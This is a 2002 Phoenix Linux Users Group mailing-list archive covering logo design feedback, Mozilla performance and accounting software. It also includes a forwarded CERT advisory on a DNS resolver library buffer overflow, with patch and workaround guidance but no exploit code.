> > > > this is the newest version, also the master will be posted soon. what do > > you guys think about Tux in a Spawn Costume? > > > > http://www.zen2now.com/tux/tux1.jpg > > > > need some good feed back, as i want to get going with the screen printing > > > > slr > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac 8xPJbMh5Xk5qhbfX13mjzIl3 =i7zK -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:28:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:28:05 -0700 Subject: PLUG Logo Update! In-Reply-To: <0206281606541A.07972@nova.wedge.org> References: <200206281448.27786.zen2now@qwest.net> <0206281606541A.07972@nova.wedge.org> Message-ID: <200206281628.05025.zen2now@qwest.net> hehe, you will be able to! as for Tux's left flipper, it is like that on Larry's site. http://www.isc.tamu.edu/~lewing/linux/ slr On Friday 28 June 2002 04:06 pm, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Wow! Choice! Whutta concept! Next thing you will tell us is that this is > freely available and we can download the source for it! > > I like the idea of two of them. I see Tux's left flipper as deformed tho - > it could/should be hidden behind his left foot. > > On Friday 28 June 2002 14:48, you wrote: > > ok, seeing that it is kind of a split. some like the prickly pears and > > some like saguaros. how about we have 2, one with prickly's and one with > > saguaros. those who like prickly's will be happy, and those who want > > saguaro's will be happy as well. > > > > as for the White Outline on Tux's arms, is it really that distracting > > from the overall image? > > > > as for the Italic Fonts, is this an overall deciding factor for the > > group? > > > > slr > > > > On Friday 28 June 2002 01:37 pm, alandd@mindspring.com wrote: > > > My $0.02. > > > > > > It is lopsided with the BIG saguaro on the right and the little cactus > > > on the left. I like the balance of the original logo, with saguaros > > > not too big and on both sides. It would match the banner we already > > > have. > > > > > > Other than that, way cool work! Thanks for doing it! > > > > > > Alan > > > > > > On Fri, 28 Jun 2002 13:19:50 -0700 slr wrote: > > > > > > this is the newest version, also the master will be posted soon. what > > > do you guys think about Tux in a Spawn Costume? > > > > > > http://www.zen2now.com/tux/tux1.jpg > > > > > > need some good feed back, as i want to get going with the screen > > > printing > > > > > > slr > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRzsDisk3ywszI1FEQLcigCeKuB/hd/HCwiY498my7umdPD+gzoAn1Ac > 8xPJbMh5Xk5qhbfX13mjzIl3 > =i7zK > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:35:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Fri, 28 Jun 2002 16:35:42 -0700 Subject: Accounting Packages References: Message-ID: <3D1CF2CE.A981904A@cox.net> What about Moneydance? I use it, and I like it. -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:37:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jay) Date: Fri, 28 Jun 2002 16:37:18 -0700 (MST) Subject: Security Exploit in DNS Servers (fwd) Message-ID: FYI - Another security notice that I just sent to AZIPA. This one is about DNS resolver libraries (possible remote exploit) - thus, it seemed appropriate for PLUG too. :) -- ~Jay ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) From: Jay To: AZIPA Subject: Security Exploit in DNS Servers Here's another network security threat to finish everyone's week with. :) This one is a possible remote vulnerability in some of the libraries associated with many DNS servers (including the most popular one, BIND). As usual, you may be vulnerable to this exploit and not even know it - contact your vendor for a patch. The official CERT advisory is below: ~Jay -- == Jay Jacobson == Edgeos, Inc. - Security is Critical - http://www.edgeos.com == We help you to easily get control of your network's security. == ...or some hacker can just take control instead. You decide. ---------- Forwarded message ---------- Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) From: CERT Advisory To: cert-advisory@cert.org Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries -----pgpenvelope processed message CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries Original release date: June 28, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected Applications using vulnerable implementations of the Domain Name System (DNS) resolver libraries, which include, but are not limited to: * Internet Software Consortium (ISC) Berkeley Internet Name Domain (BIND) DNS resolver library (libbind) * Berkeley Software Distribution (BSD) DNS resolver library (libc) Overview A buffer overflow vulnerability exists in multiple implementations of DNS resolver libraries. Operating systems and applications that utilize vulnerable DNS resolver libraries may be affected. A remote attacker who is able to send malicious DNS responses could potentially exploit this vulnerability to execute arbitrary code or cause a denial of service on a vulnerable system. I. Description The DNS protocol provides name, address, and other information about Internet Protocol (IP) networks and devices. To access DNS information, a network application uses the resolver to perform DNS queries on its behalf. Resolver functionality is commonly implemented in libraries that are included with operating systems. Multiple implementations of DNS resolver libraries contain a remotely exploitable buffer overflow vulnerability in the way the resolver handles DNS responses. Both BSD (libc) and ISC (libbind) resolver libraries share a common code base and are vulnerable to this problem; any DNS resolver implementation that derives code from either of these libraries may also be vulnerable. Network applications that makes use of vulnerable resolver libraries are likely to be affected, therefore this problem is not limited to DNS or BIND servers. Vulnerability Note VU#803539 lists the vendors that have been contacted about this vulnerability: http://www.kb.cert.org/vuls/id/803539 This vulnerability is not the same as the Sendmail issue discussed in Vulnerability Note VU#814627: http://www.kb.cert.org/vuls/id/814627 II. Impact An attacker who is able to send malicious DNS responses could remotely exploit this vulnerability to execute arbitrary code or cause a denial of service on vulnerable systems. Any code executed by the attacker would run with the privileges of the process that calls the vulnerable resolver function. Note that an attacker could cause one of the victim's network services to make a DNS request to a DNS server under the attacker's control. This would permit the attacker to remotely exploit this vulnerability. III. Solution Upgrade to a corrected version of the DNS resolver libraries Note that DNS resolver libraries can be used by multiple applications on most systems. It may be necessary to upgrade or apply multiple patches and then recompile statically linked applications. Applications that are statically linked must be recompiled using patched resolver libraries. Applications that are dynamically linked do not need to be recompiled; however, running services need to be restarted in order to use the patched resolver libraries. System administrators should consider the following process when addressing this issue: 1. Patch or obtain updated resolver libraries. 2. Restart any dynamically linked services that make use of the resolver libraries. 3. Recompile any statically linked applications using the patched or updated resolver libraries. Use a local caching DNS server Using a local caching DNS server that reconstructs DNS responses will prevent malicious responses from reaching systems using vulnerable DNS resolver libraries. For example, BIND 9 reconstructs responses in this way, with the exception of forwarded dynamic DNS update messages. Note that BIND 8 does not reconstruct all responses; therefore this workaround may not be effective when using BIND 8 as a caching DNS server. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. When vendors report new information to the CERT/CC, we update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Compaq SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team x-ref:SSRT2270 At the time of writing this document, Compaq is currently investigating the potential impact to Compaq's released Operating System software products. As further information becomes available Compaq will provide notice of the completion/availibility of any necessary patches through standard product and security bulletin announcements and be available from your normal HP Services support channel. Cray, Inc. The DNS resolver code supplied by Cray, Inc. in Unicos and Unicos/mk is vulnerable. SPR 722619 has been opened to track this problem. FreeBSD See ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. resolv.asc GNU adns adns is not derived from BIND libresolv. Furthermore, it does not support a gethostbyname-like interface (which is where the bug in BIND libresolv is). Therefore, it is not vulnerable. For more information on GNU adns, see: http://www.gnu.org/software/adns/ http://www.chiark.greenend.org.uk/~ian/adns/ Internet Software Consortium All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are vulnerable. All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. BIND version 4.8 does not appear to be vulnerable. BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. 'named' itself is not vulnerable. Updated releases can be found at: ftp://ftp.isc.org/isc/bind/src/4.9.9/ ftp://ftp.isc.org/isc/bind/src/8.2.6/ ftp://ftp.isc.org/isc/bind/src/8.3.3/ ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ BIND 9 contains a copy of the BIND 8.3.x resolver library (lib/bind). This will be updated with the next BIND 9 releases (9.2.2/9.3.0) in the meantime please use the original in BIND 8.3.3. In addition the BIND 9 'named' can be used to prevent malformed answers reaching vulnerable clients. Vendors wishing additional patches should contact bind-bugs@isc.org. Query about BIND 4 and BIND 8 should be addressed to bind-bugs@isc.org. Query about BIND 9 should be addressed to bind9-bugs@isc.org. Microsoft Microsoft products do not use the libraries in question. Microsoft products are not affected by this issue. OpenBSD [T]he resolver libraries in question got copied far and wide. They used to have a hell of a lot of bugs in them. Now might be a good time for people to compare each others' libraries to each other. I would urge them to compare against the OpenBSD ones, where we've spent a lot of time on, but of course we still missed this. But perhaps people can then share some around. Not everyone is going to move to the bind9 stuff, since it is very different. NetBSD See ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 06.txt.asc Network Appliance Some NetApp systems are vulnerable to this problem. Check NOW (http://now.netapp.com) for information on whether your system is vulnerable and the appropriate patch release that you should install. SGI SGI is looking into the matter. _________________________________________________________________ The CERT Coordination Center thanks Joost Pol of PINE-CERT and the FreeBSD Project for their analysis of these vulnerabilities. _________________________________________________________________ Feedback can be directed to the authors: Art Manion and Jason A. Rafail _________________________________________________________________ Appendix B. - References 1. http://www.pine.nl/advisories/pine-cert-20020601.asc ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-19.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message subscribe cert-advisory * "CERT" and "CERT Coordination Center" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an "as is" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History June 28, 2002: Initial release -----pgpenvelope information Version: PGP 6.5.8 gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 gpg: Can't check signature: public key not found pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 -----end pgpenvelope information From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:58:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Fri, 28 Jun 2002 16:58:06 -0700 Subject: New Version of PLUG Logo Message-ID: <200206281658.06007.zen2now@qwest.net> check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:04:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:04:09 -0700 (PDT) Subject: Mozilla troubles Message-ID: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Hey all, I think this was mentioned before but I could not find it searching through the archives. I was just curious how Mozilla is working out for you all? When I was using Gnome 1.4 with Mozilla it was really speedy and I had no problems. Lately I just tried using Mozilla with window maker and it is pretty slow. It takes awhile to open new windows and such. Anyone experiencing similar problems? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:05:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:05:10 -0700 (PDT) Subject: New Version of PLUG Logo In-Reply-To: <200206281658.06007.zen2now@qwest.net> Message-ID: <20020629000510.44073.qmail@web13402.mail.yahoo.com> --- slr wrote: > check it out. dual saguaro's and non-italic fonts > http://www.zen2now.com/tux/double_g.jpg > > slr Kick arse :). __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Fri Jun 28 23:56:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dallas Helquist) Date: 28 Jun 2002 17:56:53 -0600 Subject: Security Exploit in DNS Servers (fwd) In-Reply-To: References: Message-ID: <1025308614.31040.9.camel@dhcp159.area31.viawest.net> Not really an exploit against DNS _servers_, just against clients that use the vulnerable resolver libraries. Seems you would have to query malicious server for anything bad to happen. -dallas On Fri, 2002-06-28 at 17:37, Jay wrote: > > FYI - Another security notice that I just sent to AZIPA. This one is about > DNS resolver libraries (possible remote exploit) - thus, it seemed > appropriate for PLUG too. :) > > -- > ~Jay > > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 16:36:07 -0700 (MST) > From: Jay > To: AZIPA > Subject: Security Exploit in DNS Servers > > > Here's another network security threat to finish everyone's week with. :) > This one is a possible remote vulnerability in some of the libraries > associated with many DNS servers (including the most popular one, BIND). > As usual, you may be vulnerable to this exploit and not even know it - > contact your vendor for a patch. The official CERT advisory is below: > > ~Jay > -- > > == Jay Jacobson > == Edgeos, Inc. - Security is Critical - http://www.edgeos.com > == We help you to easily get control of your network's security. > == ...or some hacker can just take control instead. You decide. > > > ---------- Forwarded message ---------- > Date: Fri, 28 Jun 2002 17:17:10 -0400 (EDT) > From: CERT Advisory > To: cert-advisory@cert.org > Subject: CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver > Libraries > > > > -----pgpenvelope processed message > > CERT Advisory CA-2002-19 Buffer Overflow in Multiple DNS Resolver Libraries > > Original release date: June 28, 2002 > Last revised: -- > Source: CERT/CC > > A complete revision history can be found at the end of this file. > > Systems Affected > > Applications using vulnerable implementations of the Domain Name > System (DNS) resolver libraries, which include, but are not limited > to: > > * Internet Software Consortium (ISC) Berkeley Internet Name Domain > (BIND) DNS resolver library (libbind) > > * Berkeley Software Distribution (BSD) DNS resolver library (libc) > > > Overview > > A buffer overflow vulnerability exists in multiple implementations of > DNS resolver libraries. Operating systems and applications that > utilize vulnerable DNS resolver libraries may be affected. A remote > attacker who is able to send malicious DNS responses could potentially > exploit this vulnerability to execute arbitrary code or cause a denial > of service on a vulnerable system. > > > I. Description > > The DNS protocol provides name, address, and other information about > Internet Protocol (IP) networks and devices. To access DNS > information, a network application uses the resolver to perform DNS > queries on its behalf. Resolver functionality is commonly implemented > in libraries that are included with operating systems. > > Multiple implementations of DNS resolver libraries contain a remotely > exploitable buffer overflow vulnerability in the way the resolver > handles DNS responses. Both BSD (libc) and ISC (libbind) resolver > libraries share a common code base and are vulnerable to this problem; > any DNS resolver implementation that derives code from either of these > libraries may also be vulnerable. Network applications that makes use > of vulnerable resolver libraries are likely to be affected, therefore > this problem is not limited to DNS or BIND servers. > > Vulnerability Note VU#803539 lists the vendors that have been > contacted about this vulnerability: > > http://www.kb.cert.org/vuls/id/803539 > > This vulnerability is not the same as the Sendmail issue discussed in > Vulnerability Note VU#814627: > > http://www.kb.cert.org/vuls/id/814627 > > > II. Impact > > An attacker who is able to send malicious DNS responses could remotely > exploit this vulnerability to execute arbitrary code or cause a denial > of service on vulnerable systems. Any code executed by the attacker > would run with the privileges of the process that calls the vulnerable > resolver function. > > Note that an attacker could cause one of the victim's network services > to make a DNS request to a DNS server under the attacker's control. > This would permit the attacker to remotely exploit this vulnerability. > > > III. Solution > > Upgrade to a corrected version of the DNS resolver libraries > > Note that DNS resolver libraries can be used by multiple > applications on most systems. It may be necessary to upgrade or > apply multiple patches and then recompile statically linked > applications. > > Applications that are statically linked must be recompiled using > patched resolver libraries. Applications that are dynamically > linked do not need to be recompiled; however, running services need > to be restarted in order to use the patched resolver libraries. > > System administrators should consider the following process when > addressing this issue: > > 1. Patch or obtain updated resolver libraries. > > 2. Restart any dynamically linked services that make use of the > resolver libraries. > > 3. Recompile any statically linked applications using the patched or > updated resolver libraries. > > Use a local caching DNS server > > Using a local caching DNS server that reconstructs DNS responses > will prevent malicious responses from reaching systems using > vulnerable DNS resolver libraries. For example, BIND 9 reconstructs > responses in this way, with the exception of forwarded dynamic DNS > update messages. Note that BIND 8 does not reconstruct all > responses; therefore this workaround may not be effective when > using BIND 8 as a caching DNS server. > > > Appendix A. - Vendor Information > > This appendix contains information provided by vendors for this > advisory. When vendors report new information to the CERT/CC, we > update this section and note the changes in our revision history. If a > particular vendor is not listed below, we have not received their > comments. > > Compaq > > SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of > Hewlett-Packard Company and Hewlett-Packard Company HP Services > Software Security Response Team > > x-ref:SSRT2270 > > At the time of writing this document, Compaq is currently > investigating the potential impact to Compaq's released Operating > System software products. > > As further information becomes available Compaq will provide notice > of the completion/availibility of any necessary patches through > standard product and security bulletin announcements and be > available from your normal HP Services support channel. > > Cray, Inc. > > The DNS resolver code supplied by Cray, Inc. in Unicos and > Unicos/mk is vulnerable. SPR 722619 has been opened to track this > problem. > > FreeBSD > > See > ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:28. > resolv.asc > > GNU adns > > adns is not derived from BIND libresolv. Furthermore, it does not > support a gethostbyname-like interface (which is where the bug in > BIND libresolv is). Therefore, it is not vulnerable. > > For more information on GNU adns, see: > > http://www.gnu.org/software/adns/ > http://www.chiark.greenend.org.uk/~ian/adns/ > > Internet Software Consortium > > All versions of BIND 4 from 4.8.3 prior to BIND 4.9.9 are > vulnerable. > All versions of BIND 8 prior to BIND 8.2.6 are vulnerable. > All versions of BIND 8.3.x prior to BIND 8.3.3 are vulnerable. > BIND versions BIND 9.2.0 and BIND 9.2.1 are vulnerable. > BIND version 4.8 does not appear to be vulnerable. > BIND versions BIND 9.0.x and BIND 9.1.x are not vulnerable. > 'named' itself is not vulnerable. > Updated releases can be found at: > > ftp://ftp.isc.org/isc/bind/src/4.9.9/ > ftp://ftp.isc.org/isc/bind/src/8.2.6/ > ftp://ftp.isc.org/isc/bind/src/8.3.3/ > ftp://ftp.isc.org/isc/bind/contrib/ntbind-8.3.3/ > > BIND 9 contains a copy of the BIND 8.3.x resolver library > (lib/bind). This will be updated with the next BIND 9 releases > (9.2.2/9.3.0) in the meantime please use the original in BIND > 8.3.3. > > In addition the BIND 9 'named' can be used to prevent malformed > answers reaching vulnerable clients. > > Vendors wishing additional patches should contact > bind-bugs@isc.org. > Query about BIND 4 and BIND 8 should be addressed to > bind-bugs@isc.org. > Query about BIND 9 should be addressed to bind9-bugs@isc.org. > > Microsoft > > Microsoft products do not use the libraries in question. Microsoft > products are not affected by this issue. > > OpenBSD > > [T]he resolver libraries in question got copied far and wide. They > used to have a hell of a lot of bugs in them. > > Now might be a good time for people to compare each others' > libraries to each other. I would urge them to compare against the > OpenBSD ones, where we've spent a lot of time on, but of course we > still missed this. But perhaps people can then share some around. > Not everyone is going to move to the bind9 stuff, since it is very > different. > > NetBSD > > See > ftp://ftp.NetBSD.ORG/pub/NetBSD/security/advisories/NetBSD-SA2002-0 > 06.txt.asc > > Network Appliance > > Some NetApp systems are vulnerable to this problem. Check NOW > (http://now.netapp.com) for information on whether your system is > vulnerable and the appropriate patch release that you should > install. > > SGI > > SGI is looking into the matter. > > > _________________________________________________________________ > > The CERT Coordination Center thanks Joost Pol of PINE-CERT and the > FreeBSD Project for their analysis of these vulnerabilities. > _________________________________________________________________ > > Feedback can be directed to the authors: Art Manion and Jason A. > Rafail > _________________________________________________________________ > > > Appendix B. - References > > 1. http://www.pine.nl/advisories/pine-cert-20020601.asc > > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-19.html > ______________________________________________________________________ > > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > > Revision History > > June 28, 2002: Initial release > > > -----pgpenvelope information > Version: PGP 6.5.8 > > gpg: Signature made Fri Jun 28 14:12:00 2002 MST using RSA key ID D02361C9 > gpg: Can't check signature: public key not found > > pgpenvelope_decrypt: message processed at Fri Jun 28 16:27:54 2002 > > -----end pgpenvelope information > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:23:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:23:00 -0700 Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> References: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <1025310180.6930.6.camel@bryceco1> Mozilla 1.0 in KDE 2.2.2 and Enlightenment DR16 work just fine for me. Nice and quick as well as pleasant. On Fri, 2002-06-28 at 17:04, bob smith wrote: > Hey all, > I think this was mentioned before but I could not find > it searching through the archives. I was just curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:26:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C) Date: 28 Jun 2002 17:26:05 -0700 Subject: New Version of PLUG Logo In-Reply-To: <20020629000510.44073.qmail@web13402.mail.yahoo.com> References: <20020629000510.44073.qmail@web13402.mail.yahoo.com> Message-ID: <1025310365.6930.10.camel@bryceco1> I don't know. Personally, I liked the VERY first one best. I know it's different from the original but it was nice. The tall cacti take one's attention away from the penguin TOO much IMHO. On Fri, 2002-06-28 at 17:05, bob smith wrote: > > --- slr wrote: > > check it out. dual saguaro's and non-italic fonts > > http://www.zen2now.com/tux/double_g.jpg > > > > slr > > Kick arse :). > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce Chidester Network Administrator CoBryce Communications Bryce AT BryceCo DOT Net http://www.bryceco.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:34:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Fri, 28 Jun 2002 17:34:05 -0700 (PDT) Subject: Mozilla troubles In-Reply-To: <20020629000409.6884.qmail@web13408.mail.yahoo.com> Message-ID: <20020629003405.89685.qmail@web13403.mail.yahoo.com> --- bob smith wrote: > Hey all, > I think this was mentioned before but I could not > find > it searching through the archives. I was just > curious > how Mozilla is working out for you all? When I was > using Gnome 1.4 with Mozilla it was really speedy > and > I had no problems. Lately I just tried using Mozilla > with window maker and it is pretty slow. It takes > awhile to open new windows and such. Anyone > experiencing similar problems? Hmm nevermind, seems the problem is with windowmaker as it runs fine (almost too fast :), thanks BoBG) using fluxbox __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 00:32:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Fri, 28 Jun 2002 20:32:59 -0400 Subject: New Version of PLUG Logo Message-ID: The right cactus is WAY to tall. Make it just a little taller than the left one. It will give more balance and Tux can be relatively a little bigger. The way it is now, my eye is drawn to that big saguaro when I should primarily see the penguin. I'm up to $0.06 now. All my opinion, of course. Alan On Fri, 28 Jun 2002 16:58:06 -0700 slr wrote: check it out. dual saguaro's and non-italic fonts http://www.zen2now.com/tux/double_g.jpg slr ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sat Jun 29 01:00:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Fri, 28 Jun 2002 18:00:48 -0700 Subject: PLUG Logo Update! In-Reply-To: <200206281547.03743.zen2now@qwest.net> References: <007001c21ef3$3bf344c0$0601010a@tickticker.com> <200206281448.27786.zen2now@qwest.net> <007001c21ef3$3bf344c0$0601010a@tickticker.com> Message-ID: <5.1.0.14.0.20020628175847.0255d460@localhost> Details! Geez, the saguaro is great! I like that one and it's not too big. It's just right. And by the way, I don't really mind the two different cacti. I kinda like that there is diversity in that logo, just like the group has. Wide and broad range of items. The white lines, though, look just like the stitching on a tux, which is really kinda cool considering that Tux, tuxedo........well, anyway, I like it just the way that it is. Keep it. Kimi Adams Unity Wave At 6/28/02, you wrote: >hehe, its a Native American Saguaro. :~D > >slr > > >On Friday 28 June 2002 03:29 pm, tickticker wrote: > > I hate to point this out, but the saguaro is very clean shaven, heck,i've > > never been able to shave that close. > > > > anthony > > ----- Original Message ----- > > From: 